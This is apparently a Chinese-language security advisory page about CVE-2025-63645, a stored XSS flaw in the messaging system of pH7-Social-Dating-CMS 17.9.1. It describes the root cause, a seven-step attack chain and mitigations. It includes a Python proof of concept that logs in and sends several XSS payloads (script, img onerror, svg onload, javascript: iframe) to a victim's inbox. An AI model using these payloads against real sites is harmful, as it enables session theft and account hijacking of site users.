IPBUF安全漏洞报告
English
CVE-2025-63645 CVSS 5.4 中危

CVE-2025-63645 pH7-Social-Dating-CMS 存储型XSS漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-63645
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
pH7-Social-Dating-CMS 17.9.1

相关标签

CVE-2025-63645存储型XSS跨站脚本攻击pH7-Social-Dating-CMS消息系统漏洞Web应用安全会话劫持中等严重程度

漏洞概述

CVE-2025-63645是pH7Software pH7-Social-Dating-CMS 17.9.1版本中存在的一个存储型跨站脚本攻击(Stored XSS)漏洞。该漏洞位于应用程序的消息系统模块,攻击者可以通过发送包含恶意JavaScript代码的消息来利用此漏洞。当受害者查看收件箱中的消息时,恶意代码会在其浏览器上下文中执行,从而窃取会话Cookie、劫持用户账户、进行钓鱼攻击或执行其他恶意操作。由于恶意脚本被持久化存储在服务器端,所有访问该消息的用户都会受到攻击,危害范围广泛。此漏洞的CVSS评分为5.4,属于中等严重程度,需要低权限用户交互才能触发。

技术细节

该存储型XSS漏洞的根本原因在于应用程序的消息系统未对用户输入进行充分的上下文感知编码。在pH7-Social-Dating-CMS的消息发送功能中,当用户提交消息内容时,服务器端未对特殊字符(如<、>、"、'等)进行HTML实体编码,而是直接将用户输入存储到数据库中。随后,当其他用户访问收件箱并查看消息时,这些未经过滤的内容被直接渲染到HTML页面中,导致嵌入的JavaScript代码被执行。攻击者可以利用此漏洞注入恶意脚本,通过<img>标签的onerror事件、<script>标签或事件处理器(如onload、onclick等)来触发JavaScript代码执行。攻击者通常会构造包含窃取Cookie或重定向用户的内容,以实现会话劫持或其他恶意目的。

攻击链分析

STEP 1
1
攻击者注册并登录pH7-Social-Dating-CMS系统,获取低权限用户账户
STEP 2
2
攻击者构造包含恶意JavaScript代码的消息(如<script>alert(document.cookie)</script>)
STEP 3
3
攻击者通过邮件/消息功能将恶意消息发送给目标受害者
STEP 4
4
服务器未对消息内容进行输入验证和HTML编码,直接将恶意内容存入数据库
STEP 5
5
受害者登录账户并查看收件箱,触发消息读取操作
STEP 6
6
服务器从数据库读取消息内容并渲染到HTML页面,恶意脚本在受害者浏览器中执行
STEP 7
7
攻击者通过JavaScript代码窃取受害者的会话Cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-63645 PoC - Stored XSS in pH7-Social-Dating-CMS message system # Target: pH7-Social-Dating-CMS 17.9.1 BASE_URL = "http://target-site.com" # Login as attacker session = requests.Session() login_data = { "email": "[email protected]", "password": "attacker_password" } login_response = session.post(f"{BASE_URL}/user/login", data=login_data) # Check if login successful if "Welcome" in login_response.text or login_response.status_code == 200: print("[+] Login successful") # Send malicious message with XSS payload xss_payloads = [ '<script>alert(document.cookie)</script>', '<img src=x onerror=alert(String.fromCharCode(88,83,83))>', '<svg/onload=alert(document.domain)>', "<iframe src='javascript:alert(document.cookie)'>" ] # Find victim user ID (enumerate or use known victim) victim_id = "victim_user_id" for payload in xss_payloads: message_data = { "to": victim_id, "subject": "Test Message", "content": payload, "send": "Send" } send_response = session.post( f"{BASE_URL}/mail/compose", data=message_data ) if send_response.status_code == 200: print(f"[+] Payload sent: {payload}") print(f"[*] When victim views inbox, XSS will execute") else: print("[-] Login failed") # Note: This PoC demonstrates the vulnerability concept. # In real attack, attacker would use victim credentials or # social engineering to get victim to view the message.

影响范围

pH7-Social-Dating-CMS 17.9.1

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)禁用或限制消息系统的文件上传功能;2)部署Web应用防火墙规则拦截常见的XSS攻击向量;3)对消息内容实施严格的输入过滤,移除或转义<、>、"、'等特殊字符;4)启用浏览器的XSS过滤器(虽然可能被绕过);5)监控日志中的异常请求模式;6)考虑临时关闭消息系统的HTML渲染功能,仅显示纯文本内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表